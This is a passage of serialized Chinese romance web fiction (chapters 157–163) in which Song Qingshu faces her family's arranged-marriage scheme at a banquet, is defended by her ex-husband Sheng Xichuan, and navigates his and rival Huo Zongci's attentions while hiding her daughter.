莫北丞……四年过去,盛熙川才知道自己错得多么离谱。
别说宋清殊对莫北丞的感情早就变了,就算她真的喜欢又如何呢?
他该全力以赴,把她留在身边,而不是一次次被情绪左右,将她推远。
盛熙川在宴会厅的二楼往下看,宋清殊已经回来了。
她百无聊赖地端着盘蔬菜沙拉,坐在大厅一隅发呆。
将近半小时,宋清殊没挪地方,盛熙川也跟个痴汉一样,在楼上看了她半小时。
苏白和段睿喝酒聊天,时不时要看他一眼。
两人想笑他又不敢,低声耳语。
苏白:“小清殊再不动地方,盛小爷就要变成望妻石了。”
段睿眼睛一转,使坏:“咱们下去找宋清殊聊两句?”
两人刚要动身,却被人捷足先登了。
第157章 瘌蛤蟆觊觎我女人
此时,宋清殊正在给蔬菜沙拉里的一颗黄色小番茄相面,宋妍妍和带着一个男人来到了她面前。
“宋清殊,这位是许少,许少跟你一样,也是离异好几年了,你敬许少一杯,”宋妍妍踩着恨天高,颐指气使,就差把“拉皮条”三个字写在脸上了。
宋清殊没说话,静静抬眼,打量完宋妍妍又打量面前的男人。
男人长得实在乏善可陈,看上去跟宋妍妍差不多高不说,还一脸猥琐,鼻子上带着一颗将要爆开的痘。
这都不是重点,重点是,“也是离异好几年了”是什么鬼,天底下离婚的人多了去了,她都要认识一下吗?
见宋清殊没有理会的意思,那男人直接对着宋清殊伸出手来:“你好宋小姐,我叫许辉。一会儿先加个微信,明天我请宋小姐吃饭。”
那双小眼睛在宋清殊脸上看个不停,口水都快流出来了。
宋清殊心里厌恶,用叉子把那颗小番茄扎起来,放入口中:“抱歉,明天不饿。”
她起身,就要躲开这两个煞星。
“宋小姐这是什么意思?”那个叫许辉的男人顿时提高了嗓门,“这么不给人面子,难不成觉得我许某人还高攀了你不成?”
他嗓门有点大,引得不少人往这边看。
宋清殊回头看他一眼:“难不成许少觉得自己跟我很般配?”
“噗……”有吃瓜群众喷出了嘴里的香槟。
“宋清殊,给许少道歉!”宋妍妍拉了宋清殊手臂说。
宋清殊不动。
他们的这边的动静,也吸引了宋先生的注意,他给宋夫人使了个眼色,不一会儿,宋夫人也走了过来。
宋夫人先是厌恶地看了宋清殊一眼,又明显压了脾气,她道:“刚才一直忙,忘了提前告诉你了。许少是咱们的合作伙伴,你许伯伯的儿子。爸妈和你许伯伯许伯母都提前聊过了,让你们接触几个月,差不多,就把婚事定下来。”
这是什么跟什么?
四年来对她的去向不闻不问,她回来的第一时间,给她安排了个丑男结婚!
还当她是那个15岁什么都做不了主的宋清殊呢!
宋清殊不由冷笑:“爸妈还真是什么好事都想着我呢。不过,为什么是我,不是宋妍妍,难不成宋妍妍给沈济臣当小三还当上瘾了?”
如今,沈济臣已经结婚了,娶的是留学时的同学,但和宋妍妍依然不清不楚。以至于宋妍妍30岁了还没嫁出去不说,还沦为了全城的笑柄。
宋妍妍在一旁被戳到痛处,马上跳脚。
“宋清殊,你个死三八,给我闭嘴!”她扑过来,要扯宋清殊头发。
周围无数人在往这边看,宋夫人连忙将宋妍妍拉住。
对宋清殊尽可能和颜悦色:“爸妈也是为你好。你都结过一次婚了,这离异的男人好娶,离异的女人可不好嫁。许少这样的男人,再找个黄花闺女也能找到,不嫌弃你是你的福气……”
这是什么媚男又傻逼的言论?
宋清殊把玩着扎完小番茄的叉子,似笑非笑地看了宋夫人一眼:“妈,难怪你为了生儿子能连堕好几胎,能给儿子起名叫耀宗。”
宋夫人脸上的和善已经绷不住了。
“你什么意思?”
“没什么意思,就觉得妈妈作为一个女人,在心里实在是太瞧不上女人了,让人觉得可悲。”她语气淡淡的,甚至带了点悲悯,声音也不高。
但这番话轻飘飘甩出来,反而一石激起千层浪,周围的人都在看笑话,虽然没人说什么,但看宋夫人和宋妍妍的眼神,满是讽刺。
宋夫人虽然是个贵妇,骨子里就是个重男轻女的,她很以自己拼了老命也给宋家生了个儿子为荣。
从来没想过这件事会被宋清殊拿到台面上来说,更没想到,别人会这个眼神看她。
毕竟,她这个地位,是很少能听到底下人说真话的。
“他们宋家,还就二小姐一个明白人。”有个声音说,压得很低,但还是传到了宋夫人耳朵里。
宋夫人一张脸臊得通红。
“你,你这个不孝女。少强词夺理!”
待她还要说什么时,宋清殊走过去低声道:“不想让宋耀宗的生日会变成一场闹剧,就给我让开。”
宋夫人不怕宋清殊,但她实在偏爱自己的儿子,这个生日会斥资几百万不说,也的确是宋耀宗期待已久的。
一听宋清殊这样说,的确忌惮三分。
宋夫人正要让开,在一旁被当成隐形人的许辉却跟受了羞辱一样,突然提高嗓门抢白道:
“宋清殊,你还当自己是盛家少夫人呢?我不嫌弃你是个盛熙川用过的二手货,已经给你脸了,你还清高上了。”
吵架是吧?还真拿她当个软柿子了。
宋清殊挑眉,声音不急不徐:“许少不嫌弃我是个二手货,但我嫌弃许少是个残次品,还想娶我,你跳起来能打到我前夫膝盖吗?”
“哈哈哈哈”
周围原本在憋笑的人,这下是真的忍不住了。一个个笑出声来。
宋家重利轻人,人缘很差,很多人来参加宋耀宗的生日会都带了点不情不愿,为了面子上过得去。
这下好了,都开始觉得不虚此行。
许辉又羞又恼,伸手就要抓宋清殊手臂。
宋清殊猛地往后一躲,腰撞在了身后的桌角上也没能躲开,她疼得直皱眉头。
“你个二手货,我真是给你脸了!”他把宋清殊往自己这边猛地一拉,宋清殊脚下不稳,一个趔趄。
在那一瞬间,她被人扶住。
是盛熙川。
盛熙川握着宋清殊手腕的手没有松开,只是将她挡在了身后。
看到他,原本暴跳如雷的许辉像被人施了定身术一般。
“盛,盛总……没想到您也在。”许辉挂上一个比哭还难看的笑脸。
盛熙川嗤笑:“我要不在,怎么会知道你这个癞蛤蟆连我的女人都觊觎?”
第158章 解围
盛熙川这番话一石激起千层浪,一时间,几乎所有的目光都集中向了他们。
此时,盛熙川将宋清殊护在身后,两人一个高大冷峻,一个娇小柔弱,很有些反差萌的意思。
这是什么情况?
不是说当年宋清殊和盛熙川婚还离得挺难看,以至于宋清殊离开上京,一走就是四年。根本不敢出现在盛熙川面前吗?
可现在看来,好像不是这么回事。
宋清殊话里话外没有说盛熙川不好的意思,当然以两个人的身份差距,她哪怕是有怨言,也不会在公开场合说。
但盛熙川话都说到了这份上,更是全然的袒护了。
美人儿的私生活原本就是令人津津乐道的事。
宋清殊回上京发展也有两个月了,这两个月里,不乏有打听她情感状况的。
眼下,这些人都悄悄捏了把汗。
她和盛熙川,看着不像没事的。
“癞**”许辉,头上冷汗都下来了。
“盛总,我不是这个意思。”他声若蚊蚋,生怕多看盛熙川一眼都算对他的冒犯。
而宋夫人和宋妍妍更是没想到盛熙川会是这个态度,都惊讶地张开嘴巴,露出不太聪明的表情。
说来也怪,宋清殊长得和宋夫人和宋妍妍都挺像的,可不知为什么,三人的气质完全不同。
宋夫人看上去精于算计,宋妍妍浓烈张扬,但宋清殊的气质是清冷且往下沉的。
她总给人一种自带降噪的感觉,让人觉得大吵大闹会被她轻视。
这边宋清殊趁得自己母亲和姐姐越发俗气,那边盛熙川更是把许辉秒得渣都不剩。
说他癞**,不算贬低,简直称得上抬举了。
“你算什么东西,以后别让我看见你再骚扰宋清殊,不然,许家也就别在上京混了。还不快滚。”盛熙川冷声道。
“我马上滚,盛总!”
许辉不敢耽搁,拖着矮胖的身子,跑得屁滚尿流。
之后,盛熙川又看向宋夫人和宋妍妍。
他的眼神自始至终淡淡的,没什么激烈的情绪。
可宋夫人母女还是有些提心吊胆。
“熙川,我们就觉得清殊一个人也怪孤单的。”宋夫人说。
“所以,把我前妻介绍给那么个货色?”盛熙川打量宋夫人的眼神看似漫不经心,但宋夫人这样不聪明的人,依然感觉出了杀气。
“不是……”她小声辩解,又临时想不出合适的说辞来。
盛熙川:“您这么做分明是瞧不上我们盛家,我的前岳母。”
“前岳母”三个字叫得意味深长,讥讽意味十足。
被那么多人看着,宋妍妍觉得没面子,强撑道:“盛小爷,现在宋清殊不是你的少夫人了,我们宋家把她嫁给谁你管不着吧!”
盛熙川用看蠢货的眼神看了宋妍妍一眼,好像跟她说话都嫌掉价。
“不信邪的,你大可以试试看呢。听说宋大小姐现在正恨嫁,信不信我把你送非洲去做酋长老婆?”
宋清殊在一旁听着,实在忍不住,低头笑了一下。
盛熙川被她笑得心神一荡,微微回头看她。
宋清殊只好说:“你干嘛奖励她啊。宋妍妍看许辉都眉清目秀,你要让她做酋长老婆,她巴不得现在就收拾行李了!”
周围人哄堂大笑。
这个宋清殊长了一副不苟言笑的模样,没想到金句频出,还是个笑话人的高手。
宋耀宗的20岁成人礼,也太精彩了一些。
宋妍妍还想说什么,被宋夫人拉了一把。
宋夫人对她悄悄摆手。
“盛熙川不是咱们惹得起的人。”宋夫人小声说。
主要是宋清殊只嫁了盛熙川半年,宋家却收了盛熙川天价彩礼,宋家夫妇到现在都生怕那笔钱被要回去。
“这事是伯父伯母考虑不周了,以后一定慎重。”宋夫人道。
盛熙川冷笑一声,这才放开宋清殊的手上楼去了。
宋清殊默不作声地站在原地,手腕上似乎还残留着盛熙川的体温,温热的一圈,很难忽视。
宋夫人恨恨地看她一眼。
“你要是有本事,就让盛熙川再娶你一次!”
宋清殊:有病就去治,她要是还想再嫁到盛
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家,当初提离婚做什么?
这话,她懒得说。
当然,宋夫人也不想听,她颜面丢进,风一样地走了。
周围的人不敢当着宋清殊的面议论什么,但都在说小话。
“盛熙川这一出可能也不全是为了宋清殊,主要是盛家的面子吧。毕竟盛家前少夫人要是下嫁给了这么个货色,盛家也面上无光。”
“但宋清殊和盛熙川关系还真不错,虽然离婚这么多年了,盛熙川还能给她撑腰。”
“这么看宋夫人就太傻了,觉得女儿不得势了就要踩一脚。这么看还是陆夫人好。”
众人的议论,宋清殊也能听得到一字半句的。
在她来看,不与盛熙川交恶是好事,免得别人也觉得她失势,要来踩她。
盛熙川今天愿意给她这个面子,她得领情。
于是,宋清殊给盛熙川发了个微信。
【多谢盛总解围】
盛熙川:【那为了表示感谢请我吃宵夜吧,这条街有一家蟹粉小笼做的不错】
宋清殊:【今天的晚宴餐标人均三千块】
盛熙川:【so?你没吃过餐标三千的饭吗?为了吃饭,要受这个鸟气】
盛熙川是逻辑高手,宋清殊是领教过的,她说不过他。
于是问:【你说的蟹粉小笼是酒店往前走一个路口拐角那家吗?】
得到肯定的答案后,她从后门溜了出去。
盛熙川在楼上,看到了那抹带了点偷感的身影。不自觉勾起了唇角。
“走了,约会去了。”他说。
撇下苏白和段睿,哼着歌走了。
苏白和段睿简直要被他这番骚操作惊呆了。
“你有没有觉得盛熙川其实挺装的。”
等盛熙川走远,段睿才敢对苏白吐槽。
苏白:“你才发现啊。”
盛熙川到的时候,宋清殊已经进大厅等他了。
两人没有进包厢,直接坐在了大厅里靠窗边的位置。
盛熙川不动声色地用手机扫码看菜单,心跳纷乱。
四年了,他们已经有四年的时间没有这样坐下来一起吃顿饭了。
第159章 猪猪是谁
两人随便点了几样餐品,时隔四年,坐在一起吃饭,竟然有淡淡的尴尬感。
彼此都没怎么说话。
宋清殊是没什么话说,盛熙川则是怕自己太过主动,一上来又把她吓跑了。
毕竟这个家伙有多谨慎,多爱炸毛,他是知道的。
等餐的期间,盛熙川咂摸宋清殊骂许辉的那句话,越想越有滋味——
“你跳起来能打到我前夫膝盖吗?”
她在心里是有衡量对比的,他这个“前夫”起码不跌份。
后来,盛熙川又想,他何止不跌份,应该能把大多数男人比下去。
那这样的话,他就还有机会。
蟹粉小笼包上来,宋清殊往盛熙川的方向推了推。
笑得很客气,也很见外:“今天多谢你,帮我解决了很大的麻烦。”
她这话是真心实意,主要是她没想到盛熙川会出面帮忙。
现在想来,如果离婚后的两人能一直做到这种状态,在人前不互相诋毁,还能像朋友一样一致对外,其实是最好的。
她感谢盛熙川的大度。
可盛熙川不喜欢宋清殊这样客气。
她向来亲疏分明,这般客气就说明拿他当外人。
她规规矩矩道谢,他偏不要一板一眼告诉她不客气。
“你要真心里过意不去,那就等有女人觊觎我的时候,把这个忙帮回来。”
宋清殊一时间没意识到这是个坑。
“……好。”
两人的话都不多,关于过去更是一句不谈。
盛熙川倒是问了问宋清殊在陆氏的情况。
宋清殊便把自己在陆氏的位置,负责的版块,一一说了。
但她没提霍宗辞,盛熙川和霍宗辞的车现在都还在4S店,到底是个不愉快的经历,还是不提为好。
殊不知,盛熙川最想听的部分就是霍宗辞,关键的信息没听到,觉得没着落的。
但能跟宋清殊吃饭,对他来说已经是历史性的一步,他要稳住,可不能把人吓跑了。
饭吃到一半,宋清殊的手机响了。
是微信视频请求的提示音。
宋清殊拿起手机看一眼,是珍珠打来的,她迅速挂断,发了段文字过去——
【在外面有应酬,一会儿打给你】
为了以防盛熙川看到,连“妈妈”都不肯自称了。
之后,息屏,将手机翻转过去。
盛熙川没有错过宋清殊眼里一闪而过的慌乱。
他本就观察力惊人,那个微信昵称和头像也“不小心”看到了,是一个黑色骷髅头的涂鸦,看上去很像搞艺术的。
“猪猪”又是什么恶心的备注!
莫非是霍宗辞?
或者,她在别处时交往的男朋友?
他胡思乱想,又不好直接问,这顿饭的后半程吃得心不在焉。
心不在焉是一方面,看宋清殊有点坐不住的模样,盛熙川又偏偏不肯走,一顿小笼包愣是吃了将近三个小时。
到后来,还是宋清殊耐不住性子,给楼珏发了个微信。
她们有特定暗号,随便发个表情过去,楼珏就知道该做什么。
果然,楼珏的电话一分钟内打了过来。
“小宝,我现在在你家,你什么时候回来?”楼珏在电话里说。
“马上,你等我10分钟!”宋清殊说。
她挂了电话,对盛熙川道:“抱歉,我可能要先走一步,阿珏去我家了。”
盛熙川抬眼看她:“苏白说,楼珏去荷兰了。”
宋清殊:“……”
看破不说破啊。
这个人还真是不会给人留余地。
“是吗?可能临时回来了吧。”她抓起包,演都不想演了,“那我就先回了盛总。”
盛熙川的眸色又深又暗,明显有话要说。
可他最终放下筷子,淡声道:“好。”
眼看着那抹身影从自己面前逃也似地走了,盛熙川垂下眼。
宋清殊是个体面人,对他也客气,可她那种客气,明显是因为放下和不爱了。
女人对男人哪怕有一丝一毫男女之情,也不至于坦荡成这个样子。
盛熙川有些透不过气,这种咫尺天涯的感觉,
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不好受。
深夜,独守空房的苏白,在睡梦中接到了盛熙川电话——
“你有霍宗辞微信吗?”他开门见山。
苏白看了一下表,凌晨2点,他坐起身都懵了。
没好气道:“没有。怎么,小清殊跟霍宗辞私奔,你电话联系不上人了?”
这话说到了盛熙川命门上,电话直接挂了。
苏白在心里问候了一下去世的舒颜,把手机扔到了一边。
不过,这下他睡不着了。
复盘了将近两个小时,苏白坐起身来,冷汗直流:该不会让他说中了吧!
盛熙川和苏白两个男人都内耗了一晚上,而宋清殊却完全不知情。
她一离开那家餐馆,就给珍珠回拨了视频,并按照珍珠的要求,替她买了一块提拉米苏回家。
在这一点上珍珠还是很小孩心性的:喜欢吃零食。
到家后已经9点多了,珍珠没睡。
她陪着珍珠看她吃甜点,自己在脑子里复盘了一下白天的事。
她这次回京都,应该一时半会走不了。
如今,陆先生去世,本就有人盯上了陆家。
而她自己的亲妈亲姐姐都要踩她一脚,势必会形成不良示范,让人觉得谁都可以欺负她。
今天盛熙川这个举动,别管他是怎么想的,至少会真的替她避免很多麻烦。
那么多双眼睛看着,就会觉得,她和盛熙川虽然离婚了,但还同仇敌忾。以后要踩她,也会掂量掂量。
是件好事。
“妈妈,你今天心情很好吧。”珍珠从提拉米苏里抬起头来说。
宋清殊:“还可以。怎么这么问?”
珍珠:“你一直在笑。”
是吗?她们坐的位置对面是一台放饮品的小冰箱,宋清殊看金属镜面映出的自己的脸。
好像她的嘴角的确是上扬的。
她迅速收下来:“哪有。”
珍珠:“笑还不好吗?你紧张什么?”
她往宋清殊面前凑了凑,伸手捧她的脸,神情带了点疑惑:“妈妈,你不是恋爱了吧?”
第160章 追求者
宋清殊被自己的口水呛到,猛烈咳嗽了几声。
“芝姐,雪姐,你们两个又给珍珠看什么脑残偶像剧了?”她高声问保姆。
恋爱,跟谁,盛熙川吗?
宋清殊恶寒,嘴角都耷拉了下来。
她可不想在同一条河流里淹死两次了。
楼珏从荷兰回来,已经是一周后的事了。
她先去家里看了珍珠,跟珍珠玩了半天,晚上,便约宋清殊一起出去喝两杯。
如今两人好容易又在同一个城市生活了,自然是一有空就腻在一起。
她们去了一个相对安静的酒吧,喝酒聊天。
不免就说起盛熙川来。
宋清殊说了他在宋耀宗生日会帮自己出头的事。
楼珏沉默三秒:“那你是什么态度?”
宋清殊:“我感谢他呗,还能什么态度。虽然他可能也是为了盛家的脸面,但这样合作共赢,总比做敌人要好。”
楼珏抿一口杯中酒:“为什么是为了盛家的颜面?”
宋清殊:“你想想,我如果离开他,转头嫁给了那个长得跟**一样的男人,是不是说明,我这个人也不怎么样?那他当年娶了一个不怎么样的女人,是不是丢脸?”
这件事,她早就绕明白了。
看宋清殊神情坦荡,楼珏也放下心来。
两人聊了聊最近的生活,楼珏说,苏白的父母想要抱孙子,估计她喝完这顿酒就要备孕了。
宋清殊说,陆家二叔三叔天天搞事情,给她的工作平添不少阻碍。
两人谈心加吐槽,不知不觉就多喝了几杯。
中途,宋清殊起身去洗手间。
刚一出来,便远远看见盛熙川和一个女人说话。
那女人看上去高挑又美丽,非常有气质。
这时候打招呼不合适,宋清殊选择了溜墙根绕过去。
谁知,盛熙川叫她:“宋清殊,站住。”
叫她做什么,这又是什么态度?
宋清殊在心里翻了个白眼,却还是走过去。
“盛总,什么吩咐?”
“叫我盛总?就因为我开会没接到你电话,闹脾气是不是?”盛熙川一边说,一边朝她走了过来。
听着这番莫名奇妙的话,宋清殊不明所以。
这是**了吗?不应该啊。
她不动声色地打量盛熙川,看他面色如常,不像喝了假酒的。
但此时,
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盛熙川已经步步逼近,一只手抬起来,撑住她身侧的墙。
“别生气了,宝贝。我以后一定不管做什么,都立刻马上接电话,好不好,嗯?”
他凑得有点近,两人呼吸可闻。
听到这番话,宋清殊鸡皮疙瘩都起来了。
几年不见,盛熙川怎么油腻成了这个样子。
她抱着手臂极力往墙上贴,跟这位油腻霸总保持距离:“盛熙川,你抽什么风?”
盛熙川瞟了那位高挑美女一眼,用两人能听到的声音道:“帮帮忙。”
宋清殊:“追求者?”
盛熙川点头。
“跟我有什么关系?”她不太想帮。
毕竟,那位美女看上去还挺不错的,耽误前夫第二春,不合适。
“你上次答应我的,忘了?”盛熙川神色委屈,“快点,算我欠你一个人情,只要今天你帮我把她解决掉,以后我可以答应你一个条件,什么都行。”
宋清殊不得不又看了那位美女一眼。
这么漂亮的姑娘,又不是什么洪水猛兽,至于吓成这样?
她理解不了。
那位美女往两人这边走来,盛熙川也猛地贴近了她。
第161章 情敌相见
盛熙川太高大了,压迫感很足。
他笼罩着她,一双眸子无比深邃,紧紧锁着她的目光。
熟悉的冷松香混合着一丝不熟悉的酒精气息,劈头盖脸袭来,宋清殊下意识摒住了呼吸。
她紧紧地贴着身后的墙壁,吞咽了一下口水,也许是因为刚才多喝了两杯,她有点燥。
“这么美的姑娘,你逃什么。”她说,不太敢看他的眼睛。
盛熙川:“我不想跟合作伙伴扯上工作以外的关系。”
倒是个很站得住脚的理由。
但他说话时,呼吸喷洒在她的耳侧,痒痒的。
宋清殊调动了全部意志,才忍住将他一把推开的冲动。
那位美女莫名其妙看了两人一眼,踩着高跟鞋走远了。
宋清殊才终于得以脱身。
盛熙川退后半步,好整以暇看着她:“脸红什么?”
宋清殊强作镇定:“刚才喝了两杯,大概酒劲儿上来了。”
盛熙川意味深长地“哦”了一声,怎么也压不住上扬的唇角。
“我欠你个人情,有什么要求,尽管提。”他说。
“先欠着吧,阿珏在等我,我得过去了。”宋清殊说,之后脚步匆匆地走了。
看着她的背影,盛熙川忍不住低笑出声。
刚才他凑近的时候,她明显紧张了一下。
本能的反应骗不了人,盛熙川彻底丧失的信心,又回来了一点。
他回到卡座去,一群朋友马上收起了八卦的目光。
那位高挑美女孟令贤也在其中,对着他笑:“熙川,这件事不给**过不去哈。”
她跟自己老公一起来的,莫名其妙就成了盛熙川的“追求者”,到哪儿说理去。
盛熙川好说话得很:“没问题,你可以把这个季度消化不了的产品都卖给我。”
“耶!”孟令贤起身跟自己老公击掌,又对盛熙川双手合十,“感谢盛小爷,活菩萨,还需要我做什么,尽管吩咐。”
“德性。”盛熙川瞥她一眼,又把目光转向了宋清殊和楼珏方向。
与此同时,宋清殊回到卡座,也注意到了盛熙川这边。
她看到那位被他“拒绝”的美女,情绪太过稳定,完全没有气急败坏的感觉,甚至还敬了他一杯。
这才是做大事的人,宋清殊心想。
楼珏也注意到了盛熙川,还看到了宋清殊有点红的脸。
但她不想让宋清殊难堪,什么都没问。
“咱们换桌吗?”她征求宋清殊的意见。
宋清殊摇了摇头。
没什么好回避的,她既然选择了要在这座城市工作,能和前夫和平共处,也是修行。
可今晚比想象中热闹,因为又过了一小会儿,又来了个人。
此时,宋清殊正兴致勃勃地给楼珏出主意,把自己过去做的备孕功课分享给她。
突然被人在身后弹了一下脑袋。
她转头,便看到了霍宗辞。
霍宗辞是好看且自知的人,他异常喜欢挑战高难度,在身上穿些乱七八糟的东西。
这件真丝衬衫是女款吧?
还有这条垂到肩膀的耳线,也太媚气了一些。穿在他身上,能丝毫不违和,也是绝了。
宋清殊眼睛往下,她又看到了自己送的那枚袖扣。
楼珏一见霍宗辞更是眼睛都亮了。
宋清殊给霍宗辞和楼珏介绍了彼此。
楼珏也注意到了霍宗辞的袖扣,给宋清殊递了个眼神,笑道:“霍总真有品位,袖扣选的也好。”
宋清殊:“……”
不是你跟我一起选的吗?倒也不必特地拿出来硬夸。
霍宗辞:“不是我品味好,是送的人花了心思。”
说完,还给了宋清殊一个意味深长的眼神。
宋清殊:“……”
楼珏又问:“霍总一个人吗?”
霍宗辞神色淡淡:“嗯,加完班过来放松下。”
楼珏:“那一起吧。”
宋清殊还没来得及阻止,霍宗辞已经在她身边落座。
他给自己点了酒,还请了她们酒和果盘。
三人喝酒,又闲聊了一会儿。
宋清殊一直觉得楼珏是比较冷漠的人,他在客户面前都高高在上,没想到,坐下来还能和楼珏交谈几句,也不冷场。
她微微松口气。
霍宗辞一进门,盛熙川就注意到了。
原本他还在跟几个人
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喝酒闲谈,突然便敛了神色。
霍宗辞的那枚袖扣太过刺眼,想不注意到都难。
盛熙川看那边的神色看似漫不经心,但他握着酒杯的手指节收紧,用力到指甲边缘都在泛白。
孟令贤给自己丈夫使了个眼色,夫妻俩又看了看盛熙川。
两人互发微信。
孟夫:【甲方爸爸这是吃醋了?】
孟令贤:【嗯,快想办法,把宋清殊弄走】
夫妻两人都恨不得给自己脑子装上电动马达,死脑子,快点想啊。
在盛熙川起身前,孟令贤给了自己丈夫一脚。
孟夫赶忙敬了盛熙川一杯,跟他聊了聊合作的事。
而孟令贤却已经起身,接着电话的名义走了出去。
之后,“不小心”路过宋清殊,一杯酒泼到了她的后背上。
“干什么?”楼珏先站起身来,面色不善。
孟令贤神色惶恐道:“抱歉,抱歉。我不是故意的。”
她扯了张纸巾替宋清殊擦了擦那片酒渍,结果越擦越花。
“哎呀,真不好意思,小姐。”孟令贤陪着笑脸,之后调出微信二维码,“要不您加我一下,衣服清洗的费用我出。”
宋清殊看孟令贤觉得很困惑。
孟令贤态度非常友善,没有任何攻击性,可那杯酒没有故意的成分,她不信。
而且,一上来就要加微信,是跟过去那些喜欢盛熙川的女人一样,准备向她**吗?
宋清殊看向盛熙川那桌,他们也都注意到了这边。
不好的记忆涌上心头,她实在不想跟盛熙川有这方面的牵扯。
“不必了,小事,我自己处理一下就好。”她站起身来,对面前的女人说。
又抱歉地看向霍宗辞,“小叔,我就先回去了。”
楼珏起身:“我陪你。”
霍宗辞喝了口杯中酒,神色不动:“好。”
谁知,两人刚出旋转门,孟令贤又追了出来。
她手里拿着件男士外套:“小姐,你现在后背都是湿的,拿这个遮一下吧。”
不等宋清殊拒绝,她迅速跑了回去。
这件外套宋清殊不认识,但气息实在是熟悉。
第162章 外套事件
孟令贤来去好像一阵风,楼珏和宋清殊都还没有反应过来。
“这女人怎么莫名奇妙的。盛熙川的追求者?”楼珏说。
宋清殊:“据说是。”
“那她看上去倒是比帕丽霓娜之流看上去讨喜一些。”楼珏锐评,“不过这手段也挺幼稚。”
宋清殊没接茬。
一直到两人坐上车,她还在复盘这件事,总觉得哪里有点不对。
整件事,似乎漏掉了一环,但是哪一环,她又想不明白。
不过也无所谓了。
不重要。
那件看上去就品质绝好的男士外套,她也没有穿,就这样拿在手里。
上面的气息太熟悉了,除了盛熙川不会是别人的。
她在想,自己该怎么把这个外套还给他,找个跑腿送去公司,应该没问题吧。
回到家,珍珠在客厅画画,一见她进门,先给了她一个大大的拥抱。
之后,她的小鼻子嗅了嗅:“好香啊,妈妈。”
宋清殊还没说话,那件外套便被珍珠抱走了。
珍珠天生感觉都比别的小朋友敏锐一些,她能闻到盛熙川衣服的味道,倒是也不奇怪。
但宋清殊眼睁睁看着珍珠把脸埋了进去!
“真的好香啊。”珍珠说着,一张肉乎乎的小脸在外套里蹭来蹭去,“妈妈,这是谁的外套?”
说不出什么感觉,一时间,宋清殊的心脏剧烈狂跳起来。
她从带着珍珠离开上京的那一天起,就下定决心要独自把这个孩子养大。
珍珠除了轻微超重,智商也更高之外,真的没什么问题。
她身心都很健康,因为智商高,也天然地会规避一些危险。
她问过宋清殊关于自己父亲的问题,宋清殊没有含糊其辞,但也没有说的太详细,她只说,“妈妈跟爸爸相爱过,但是分开了,爸爸不知道你的存在。”
关于她的解释,珍珠是认同的,且一直没有深究。
毕竟,比起纠结这个从来没见过的爸爸,珍珠更想知道世界上到底有没有水猴子。
但亲缘这个东西骗不了人。
宋清殊看着珍珠抱着盛熙川外套的模样,莫名有点想哭。
楼珏和宋清殊从酒吧离开,卡座上只剩霍宗辞。
不远处,他的朋友响亮地吹了个口哨。
霍宗辞当然不是自己来的,不过为了宋清殊,撒了个谎。
朋友在那边挤眉弄眼,霍宗辞便端了酒杯准备过去,盛熙川却已经过来,坐到了他对面。
气氛剑拔**张,霍宗辞也坐了下来。
盛熙川:“聊聊?”
霍宗辞:“我在追宋清殊,我喜欢她。”
这直球打得人猝不及防,盛熙川的眼皮明显跳了一下。
他缓了缓心神,让自己看上去不要太紧张,但带着愠怒的眼神出卖了他。
“你想要什么,我可以帮你,哪怕是陆家。”只要不是要宋清殊。
比起盛熙川,霍宗辞神色倒是松弛极了。
他把玩自己的袖扣,抬眼看眼前的男人,眸子里甚至有笑意:“我只要宋清殊。”
盛熙川盯着霍宗辞,眼神步步紧逼。
霍宗辞回视他,一寸不让。
良久,盛熙川倏地漾起一个笑来:“霍宗辞,没记错的话,你母亲还在疗养院吧。听说,你读大学的妹妹还有抑郁症。”
霍宗辞的眼神陡然转冷:“你调查我?”
霍宗辞下意识的反应,让盛熙川了然。得知自己打蛇打到了七寸上,他反而轻松了不少。
盛熙川:“这需要调查么?你那个贪官老爹**后,险些家破人亡,是陆先生好心帮了你,让你活下来,这件事,难道不是人尽皆知?”
霍宗辞用指节敲击着桌面,神色阴冷又不耐烦,之后干脆站起身来。
“所以呢,你准备用我母亲和妹妹威胁我?”
“不至于的霍宗辞。我们本来可以是朋友,而非敌人。但你如果盯住宋清殊不放,就别怪我伤天害理了。”
盛熙川也起身,霍宗辞够高了,可他更高,借着身高优势看他,便有点睥睨的味道,“放过宋清殊,你想要什么我都可以帮你。”
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>霍宗辞冷笑:“你越这样,我对宋清殊越感兴趣。我倒是要看看,能不能让宋清殊爱上我。”
盛熙川八风不动:“只要后果你承担得起。”
两人话不投机,互相凶狠地看了一眼,才彼此分开。
属孟令贤和她丈夫吃瓜吃得最开心。
孟令贤:“你看这两人,像不像两头公狮子打架?”
孟夫一本正经:“春天还没到,动物的繁衍季提前了。”
那件外套,宋清殊最终也没过多解释,因为没穿,也就没有送去洗。
珍珠问是谁的,她只说“一个叔叔,是妈妈的朋友”,也没有过多解释。
原本想着抽空还了就好,谁知,第二天上班,午休时间,她看一眼客厅的监控,发现珍珠在沙发上盖着那件外套睡午觉。
宋清殊大惊失色,当即远程联系了跑腿,让保姆把衣服叠好送到了盛世集团的前台去。
至于盛熙川身上的冷松香气,宋清殊问过一些调香师,那些人给的答案是,不同的香气在不同的人身上表现形式也会不一样。
也许,她们母女两人喜欢的,不是松木香,而是用在盛熙川身上的松木香。
不重要,把这件事小题大做才不得了。
衣服送到盛世集团的前台,宋清殊想了想,给盛熙川发了个微信。
【那件衣服我让人还到公司前台了,多谢】
消息石沉大海,宋清殊也没有多想。
到了下午四点多,盛熙川发了个微信给她:【来打台球吗?昌鑫的林总在。】
昌鑫是她和霍宗辞最近在苦苦攻略的一个大客户。
盛熙川这是什么意思,帮她拓展人脉?
欠人情是要还的,跟前夫还是保持点边界感好。
并且,宋清殊相信霍宗辞的能力可以搞定。
她回绝得客气:【多谢帮忙介绍人脉,但我不会打,就不过去了】
盛熙川却像个听不懂人话的:【我教你,不来的话,业务我就撬走了哦】
宋清殊摸不清他话里的真假,决定找霍宗辞商量一下。
第163章 不会想歪了吧
很不巧,宋清殊到霍宗辞办公室的时候,他正要出去。
宋清殊还没来得及敲门,便看到门从里面打开,霍宗辞脸上有一闪而过的焦急。
他稳了稳神,才问她:“有事?”
宋清殊:“不是什么大事,小叔着急出去?”
霍宗辞:“对,而且我一会儿会在OA上请假,估计至少两三天。”
看来是真的急。
宋清殊听说霍宗辞的母亲一直住在疗养院里,好像是植物人。
她猜测有可能是霍母的事。
“有点业务上的小事,我自己能处理好,小叔你先去吧。”她说。
霍宗辞点点头,一边走一边道:“你要是处理不好就等我回来,拿不准主意的,就去找大嫂商量。”
大嫂是说陆夫人。
霍宗辞神色匆匆地走了。
宋清殊想了想,还是决定去找一趟盛熙川。
盛熙川这样好心给她介绍人脉,一定有他的目的,但不管他的目的是什么,宋清殊觉得,话还是说清楚比较好。
两人不像仇人一样相处,客气又有距离,就是最好的状态。
